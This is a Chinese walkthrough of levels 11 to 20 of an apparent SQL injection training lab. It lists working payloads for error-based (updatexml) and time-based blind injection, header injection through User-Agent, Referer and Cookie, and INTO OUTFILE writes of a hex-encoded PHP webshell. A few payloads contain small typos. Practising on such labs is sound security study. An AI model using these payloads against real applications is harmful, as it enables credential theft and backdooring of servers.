第11关是post请求,当输入正确的账号密码页面显示登陆成功。
查看网页源码,发现可以使用‘闭合,而且网页把sql语句的错误信息输出 ,可以使用报错注入。
下面开始寻找注入点,尝试在uname参数注入payload:
uname=Dumb' and 1=1#&passwd=Dumb&submit=Submit页面正常显示
uname=Dumb' and 1=2#&passwd=Dumb&submit=Submit页面报错
找到注入点
尝试注入:
payload:
uname=Dumb' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=Dumb&submit=Submit
爆出数据库名称security
接下来就是熟悉的爆表和爆列名和爆数据:
uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
爆出表名users
uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
爆出users表的所有列
uname=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#
爆数据:
payload:
爆security的表名:
uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit
爆users的列名:
uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit
爆数据:
uname=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit
uname=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit
第十二关使用”闭合,同样输出sql语句查询的报错信息,使用报错注入
第十二关和第十一关的思路相同,只不过这一关使用:)闭合前面的sql语句,就不重复演示了,给出下面payload:
爆security的表名:
uname=Dumb") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit
爆users的列名:
uname=Dumb") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit
爆数据:
uname=Dumb") and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit
uname=Dumb") and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit
第十三关使用’)闭合,同样输出sql语句查询的报错信息,使用报错注入
第十三关和第十一关思路也相同,只不过这一关使用‘)闭合前面的sql语句,不重复演示,给出下面的payload:
爆security的表名:
uname=Dumb') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit
爆users的列名:
uname=Dumb') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit
爆数据:
uname=Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit
uname=Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit
第十四关使用“闭合,同样输出sql语句查询的报错信息,使用报错注入
这一关很简单,使用双引号闭合就可以了,不重复演示,思路和上面几道题都一模一样,给出payload:
爆security的表名:
uname=Dumb" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit
爆users的列名:
uname=Dumb" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit
爆数据:
uname=Dumb" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit
uname=Dumb" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit
第十五关发现报错注入页面没有回显,说明用不了,所以尝试使用时间盲注,网页源代码中也表明把数据库的error信息屏蔽掉了。
payload:
uname=Dumb' and if(length(database())=8,sleep(5),1)#&passwd=&submit=Submit
数据库的长度若为8,页面5秒后返回,找到数据的长度
接下来就是使用脚本结合substr函数判断数据库的每一个元素是什么,这里就不演示,后续博客会将脚本分享出来。(爆数据的方法)
更简单的是写一句话木马到数据库中然后使用冰蝎链接。
一句话木马:
uname=Dumb' or 1=1 limit 0,1 into outfile 'C:/less15.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331355D293B3F3E#&passwd=pass&submit=Submit
第十六关使用”)闭合,sql语句的报错信息被屏蔽了,所以还是使用时间盲注
其他思路和上一关一样
payload:
uname=Dumb“) and if(length(database())=8,sleep(5),1)#&passwd=&submit=Submit
数据库的长度若为8,页面5秒后返回,找到数据的长度
接下来就是使用脚本结合substr函数判断数据库的每一个元素是什么,这里就不演示,后续博客会将脚本分享出来。(爆数据的方法)
更简单的是写一句话木马到数据库中然后使用冰蝎链接。
一句话木马:
uname=Dumb' or 1=1 limit 0,1 into outfile 'C:/less16.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331355D293B3F3E#&passwd=pass&submit=Submit
第十七关发现源码中多了对输入字符转码的函数,但只对uname进行检查,可以在password处进行注入
同时发现要用户名正确之后才会执行update语句,才可出现注入点password。
存在sql查询语句的报错信息输出,可以使用报错注入
payload:
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit
成功爆出数据库名称security,接下来就是和前面一样的爆数据
payload:
爆security的表名:
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&submit=Submit
爆users的列名:
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&submit=Submit
爆数据:
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&submit=Submit
uname=Dumb#&passwd=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)&submit=Submit
首先观察源码,发现对输入的uname和password都进行了转义,所以第一条查询语句无注入点,发现下面还有一条insert语句存在注入点,uagent可进行注入
使用burpsuit进行抓包,然后将user-agent字段改为
1'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
insert语句被改写,页面爆出数据库名称security
查看源码,发现此关注入点在refer字段,还是用burpsuit抓包,修改字段,和上一关一样。
此关注入点在cookie字段,源码如下:
在burpsuit的cookie字段加payload:
Cookie: uname=Dumb'' and updatexml(1,concat(0x7e,database(),0x7e),1)#
爆出数据库名称security,接下来还是熟悉的爆数据工作,就不再重重复演示了。